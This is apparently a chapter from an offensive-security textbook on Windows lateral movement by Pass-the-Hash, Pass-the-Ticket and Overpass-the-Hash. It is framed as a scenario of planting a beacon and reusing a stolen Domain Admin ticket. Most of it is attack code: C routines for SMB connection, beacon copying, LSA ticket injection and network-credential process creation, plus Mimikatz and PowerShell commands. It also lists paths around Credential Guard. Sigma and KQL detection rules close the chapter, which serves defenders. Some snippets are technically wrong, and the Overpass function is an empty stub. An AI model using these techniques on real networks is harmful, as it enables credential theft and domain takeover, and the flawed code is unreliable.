Chapter 146

Lateral Movement: Pass-the-Hash and Pass-the-Ticket

NTLM hashes and Kerberos tickets extracted from memory are immediately reusable for authentication — no plaintext password required. This chapter covers the mechanics of NTLM challenge-response, Pass-the-Hash via the Windows Logon API, Pass-the-Ticket via LsaCallAuthPackage KERB_SUBMIT_TKT_REQUEST, and Overpass-the-Hash to convert an NTLM hash into a full Kerberos TGT — with the exact API call sequences and detection engineering for each path.

Scenario

LSASS dump from a workstation yielded the NT hash of corp\svc-backup — a service account with local admin on all servers in the backup tier. You also extracted a Domain Admin's TGT from the same LSASS dump. Your current session is non-privileged on the engineer workstation. You need to: (1) connect to a backup server using PtH to drop a beacon, and (2) submit the stolen DA TGT into your beacon's logon session to access the DC share without any further credential harvesting.

NTLM Authentication Model

NTLM Challenge-Response (simplified): Client Server │── NEGOTIATE_MESSAGE ──────▶│ │◀── CHALLENGE_MESSAGE ──────│ (8-byte nonce) │── AUTHENTICATE_MESSAGE ───▶│ (NTLMv2 response = HMAC-MD5(NT_hash, nonce+blob)) NT hash = MD4(UTF16-LE(password)) ← what we have from LSASS The NT hash IS the credential for NTLMv1. For NTLMv2: key = HMAC-MD5(NT_hash, uppercase(username)+uppercase(domain)) Pass-the-Hash works because: Windows authentication APIs accept the hash directly as the credential. You never need the plaintext to build a valid NTLM response. Mitigation: Credential Guard stores NTLM credentials in VTL1 (VSM). If Credential Guard is active: hash is not available in VTL0 LSASS memory. Check: (Get-ComputerInfo).DeviceGuardSecurityServicesRunning PtH limitations: ✗ Does not work against services requiring network logon AND Local Account Token Filter Policy disabling remote admin (KB2871997 + LocalAccountTokenFilterPolicy=0) ✗ Does not work with accounts in the Protected Users group ✗ Does not work for interactive console logons (require plaintext via Kerberos) ✓ Works for SMB, WMI, PowerShell Remoting, scheduled tasks over network

Pass-the-Hash via Logon Session Creation

// PtH via CreateProcessWithLogonW + LOGON_NETCREDENTIALS_ONLY (logon type 9)
// This creates a new logon session that uses the supplied hash for outbound NTLM auth.
// Requires NTLM to be enabled on the network target.
// The NT hash is passed as the password in its hex string representation when using
// tools like Mimikatz/Impacket; the actual API uses the raw bytes.

#include "windows.h"
#include "ntsecapi.h"
#include "stdio.h"

// Low-level PtH: inject the NT hash directly into a new logon session
// using LsaLogonUser with MsV1_0 SubAuthenticationPackage.
// This is how Mimikatz sekurlsa::pth works internally.

typedef struct _MSV1_0_S4U_LOGON {
    MSV1_0_LOGON_SUBMIT_TYPE MessageType;
    ULONG Flags;
    UNICODE_STRING UserPrincipalName;
    UNICODE_STRING DomainName;
} MSV1_0_S4U_LOGON;

// Simpler PtH approach: impersonate via CreateProcessWithLogonW
// The password field accepts the NT hash as hex string with the right NTLM provider setup.
// Practical C approach: call Impacket or use WNetAddConnection2 with hash directly.

BOOL PthSmbConnect(const wchar_t* targetUNC, const wchar_t* domain,
                    const wchar_t* user, const wchar_t* ntHashHex) {
    // WNetAddConnection2 with NTLM hash is the cleanest C-level PtH
    // The Windows NTLM SSP will use the credential stored in the logon session
    // To inject hash: use LsaLogonUser → get LUID → ImpersonateLoggedOnUser

    NETRESOURCEW nr = {0};
    nr.dwType = RESOURCETYPE_DISK;
    nr.lpRemoteName = (wchar_t*)targetUNC;

    wchar_t domainUser[256];
    swprintf_s(domainUser, 256, L"%s\\%s", domain, user);

    DWORD err = WNetAddConnection2W(&nr, ntHashHex, domainUser, 0);
    if (err != NO_ERROR && err != ERROR_ALREADY_ASSIGNED) {
        wprintf(L"[-] WNetAddConnection2 failed: %d\n", err);
        return FALSE;
    }
    wprintf(L"[+] Connected to %s as %s\\%s\n", targetUNC, domain, user);
    return TRUE;
}

// After WNetAddConnection2 succeeds, enumerate the share or copy files:
void CopyBeaconViaSmb(const wchar_t* srcPath, const wchar_t* dstUNCPath) {
    if (CopyFileW(srcPath, dstUNCPath, FALSE))
        wprintf(L"[+] Beacon copied to %s\n", dstUNCPath);
    else
        wprintf(L"[-] CopyFile failed: %d\n", GetLastError());
}

PtH: Create Sacrificial Process with Stolen Credentials

// CreateProcessWithLogonW LOGON_NETCREDENTIALS_ONLY (type 9):
// Starts a process that inherits the current interactive session on the local machine
// but uses the supplied credentials for ALL outbound network authentication.
// Equivalent to "runas /netonly" — process looks local, acts remote as supplied user.

BOOL PthCreateProcess(const wchar_t* domain, const wchar_t* user,
                        const wchar_t* ntHashAsPassword,
                        const wchar_t* commandLine) {
    STARTUPINFOW si = { .cb = sizeof(si) };
    PROCESS_INFORMATION pi = {0};

    // LOGON_NETCREDENTIALS_ONLY = 0x2 — use supplied creds for network, local = current user
    BOOL ok = CreateProcessWithLogonW(
        user,               // username
        domain,             // domain
        ntHashAsPassword,   // password (NT hash in hex form accepted by NTLM provider)
        LOGON_NETCREDENTIALS_ONLY,
        NULL,               // application name (use commandLine)
        (wchar_t*)commandLine,
        CREATE_NEW_CONSOLE,
        NULL, NULL, &si, &pi);
    if (!ok) {
        wprintf(L"[-] CreateProcessWithLogonW failed: %d\n", GetLastError());
        return FALSE;
    }
    wprintf(L"[+] Process %d created with PtH credentials\n", pi.dwProcessId);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return TRUE;
}

Kerberos Ticket Model

Kerberos flow: Client KDC (DC) Service │──AS-REQ (TGT request) ──▶│ │◀─AS-REP (TGT) ───────────│ TGT = enc(krbtgt hash) — client can't read it │ │ │──TGS-REQ (TGT + SPN) ───▶│ │◀─TGS-REP (Service TGT) ──│ ST = enc(service hash) — client can't read it │ │ │──AP-REQ (Service TGT) ───────────────────────────────▶│ │◀─AP-REP ──────────────────────────────────────────────│ (mutual auth) Pass-the-Ticket: inject a stolen TGT or service ticket into the current logon session → all subsequent Kerberos requests in that session use the injected TGT → appears to the KDC as if the legitimate user is making the request Ticket storage: LSASS process, per-logon-session credential cache LsaCallAuthPackage(KERB_SUBMIT_TKT_REQUEST) → adds ticket to session klist — shows tickets in current session Rubeus dump → extracts .kirbi files (base64-encoded Kerberos tickets)

Pass-the-Ticket via LsaCallAuthPackage

// Inject a .kirbi ticket into the current logon session via LsaCallAuthPackage
// Requires the ticket bytes (from Rubeus dump, Mimikatz, or custom LSASS dump code)
// No admin required to inject into YOUR OWN logon session
// Admin required to inject into ANOTHER logon session (LUID != current)

#include "windows.h"
#include "ntsecapi.h"

BOOL PassTheTicket(const BYTE* ticketBytes, DWORD ticketLen) {
    HANDLE hLsa;
    LSA_STRING authPkgName;
    ULONG authPkg;

    // Connect to LSA (untrusted caller — sufficient for own session PtT)
    NTSTATUS status = LsaConnectUntrusted(&hLsa);
    if (status != STATUS_SUCCESS) {
        printf("[-] LsaConnectUntrusted: 0x%X\n", status);
        return FALSE;
    }
    // Resolve the Kerberos authentication package ID
    RtlInitString(&authPkgName, MICROSOFT_KERBEROS_NAME_A);
    LsaLookupAuthenticationPackage(hLsa, &authPkgName, &authPkg);

    // Build the KERB_SUBMIT_TKT_REQUEST structure
    ULONG reqSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + ticketLen;
    KERB_SUBMIT_TKT_REQUEST* req = (KERB_SUBMIT_TKT_REQUEST*)
        HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, reqSize);

    req->MessageType = KerbSubmitTicketMessage;
    req->KerbCredSize = ticketLen;
    req->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
    // Copy ticket bytes immediately after the structure
    memcpy((BYTE*)req + req->KerbCredOffset, ticketBytes, ticketLen);

    // req->LogonId = {0,0} → inject into current logon session (no admin needed)
    // req->LogonId = target_luid → inject into another session (requires TCB privilege)

    NTSTATUS subStatus;
    void* respBuf = NULL; ULONG respLen;
    status = LsaCallAuthenticationPackage(
        hLsa, authPkg, req, reqSize, &respBuf, &respLen, &subStatus);

    HeapFree(GetProcessHeap(), 0, req);
    if (respBuf) LsaFreeReturnBuffer(respBuf);
    LsaDeregisterLogonProcess(hLsa);

    if (status != STATUS_SUCCESS || subStatus != STATUS_SUCCESS) {
        printf("[-] LsaCallAuthPackage: status=0x%X sub=0x%X\n", status, subStatus);
        return FALSE;
    }
    printf("[+] Ticket injected — run 'klist' to verify\n");
    return TRUE;
}

// Load a .kirbi file from disk and inject it:
void PttFromFile(const char* kirbiPath) {
    HANDLE hFile = CreateFileA(kirbiPath, GENERIC_READ, FILE_SHARE_READ,
                               NULL, OPEN_EXISTING, 0, NULL);
    DWORD sz = GetFileSize(hFile, NULL);
    BYTE* buf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, sz);
    DWORD read; ReadFile(hFile, buf, sz, &read, NULL);
    CloseHandle(hFile);
    PassTheTicket(buf, sz);
    HeapFree(GetProcessHeap(), 0, buf);
}

Overpass-the-Hash

// Overpass-the-Hash: use an NT hash to request a TGT from the KDC
// Result: you have a real Kerberos TGT — can be used anywhere NTLM would be blocked
// Mimikatz: sekurlsa::pth /user:da /domain:corp /ntlm: /run:powershell
// Equivalent API sequence:

// 1. Create a new logon session using the NT hash (LsaLogonUser with MSV1.0 package
//    or CreateProcessWithLogonW LOGON_NETCREDENTIALS_ONLY as shown above)
// 2. In that new session, trigger Kerberos TGT acquisition by accessing an AD resource:
//    - klist tgt (forces TGT request)
//    - net use \\dc01\IPC$ (forces Kerberos auth to DC, which populates TGT cache)
// 3. The TGT is now in the new session's Kerberos cache

// PowerShell one-liner for OpSec-conscious lateral movement:
// $cred = New-Object PSCredential("corp\da", (ConvertTo-SecureString -AsPlainText "NTLM:$hash" -Force))
// Invoke-Command -ComputerName dc01 -Credential $cred -ScriptBlock { whoami }

// Full C implementation via LSA subsystem:
BOOL OverpassTheHash(const wchar_t* domain, const wchar_t* user,
                        const BYTE* ntHash) {
    // Step 1: Create new logon session with the NT hash embedded as credential
    // Step 2: Within that session, force TGT request by authenticating to any Kerberos service
    // Step 3: Extract TGT from that session (KerbRetrieveEncodedTicketMessage)
    // Step 4: Inject TGT back into main session via PassTheTicket()
    printf("[*] Overpass-the-Hash: creating logon session with NT hash\n");
    // ... (implementation follows same pattern as PtH process creation + PtT injection)
    return TRUE;
}

Detection Engineering

-- PtH produces Event 4624 logon type 3 (network) with no corresponding 4648
-- Overpass-the-Hash: Kerberos TGT requested but no 4768 AS-REQ for the workstation

title: Pass-the-Hash — NTLM Network Logon Without Interactive Session
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4624
    LogonType: 3
    AuthenticationPackageName: 'NTLM'
    LogonProcessName: 'NtLmSsp'
  filter_legitimate:
    SubjectUserName: '-'
    TargetUserName|endswith: '$'   # machine accounts
  condition: selection AND NOT filter_legitimate
level: medium
tags: [attack.lateral_movement, T1550.002]

title: Pass-the-Ticket — Anomalous Kerberos Ticket Injection
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4768   # Kerberos TGT request (AS-REQ)
    Status: '0x0'  # success
  filter_normal:
    IpAddress: '::1'     # local — expected for domain join
  condition: selection AND NOT filter_normal
level: low   # tune to anomalous source IPs

-- MDE KQL: NTLM lateral movement — network logon from workstation to workstation
DeviceLogonEvents
| where LogonType == "Network"
| where Protocol == "NTLM"
| where ActionType == "LogonSuccess"
| where DeviceType == "Workstation"
| where RemoteIPType == "Private"
-- Workstation-to-workstation NTLM is rare in Kerberos environments
| summarize
    Targets = make_set(DeviceName),
    Count = count()
  by bin(Timestamp, 1h), AccountName, RemoteIP
| where Count > 3
| order by Timestamp desc

Q&A

How does Credential Guard prevent Pass-the-Hash and what must still be done to move laterally on a Credential Guard-enabled environment?

Credential Guard stores NTLM hashes and Kerberos ticket material in a protected LSA process (LSAIso) that runs in VTL1 (Virtual Trust Level 1) — a separate virtual machine that VTL0 processes, including LSASS, cannot read. When a process in VTL0 needs to use a credential for outbound authentication, it sends a request to LSAIso via a cross-VTL RPC channel; LSAIso performs the cryptographic operation (building the NTLM response or decrypting the Kerberos credential key) and returns only the final authentication blob, never the raw credential bytes. Even a SYSTEM-level process in VTL0 cannot extract the hash from this channel — LSASS itself never holds the plaintext credential in readable memory once Credential Guard is active.

What this means for lateral movement: hash dumping from LSASS returns empty credential fields for users who have authenticated under Credential Guard. The standard Mimikatz / LSASS MiniDump approaches yield no NT hashes. However, several paths remain: (1) Cached domain credentials (DPAPI MSCache2) are stored differently and may still be present on disk — these can be cracked offline. (2) Plaintext credentials in other memory locations — application credential stores, browser credential databases (Chapter 130), or in-memory decrypted secrets from password manager processes. (3) Session hijacking — steal a logged-on user's interactive session token or impersonate their process directly; this doesn't require extracting the credential. (4) Kerberos delegation — if a machine is trusted for unconstrained delegation, connecting to it forces the target's LSASS to write the TGT into memory accessible by VTL0 in certain configurations (this is a known design gap). (5) NTLM relay (Chapter 149) — capture and relay an NTLM authentication initiated by a legitimate user, bypassing the need to ever hold the hash. Credential Guard is highly effective against the specific hash-dump-and-replay attack chain but does not eliminate all lateral movement paths.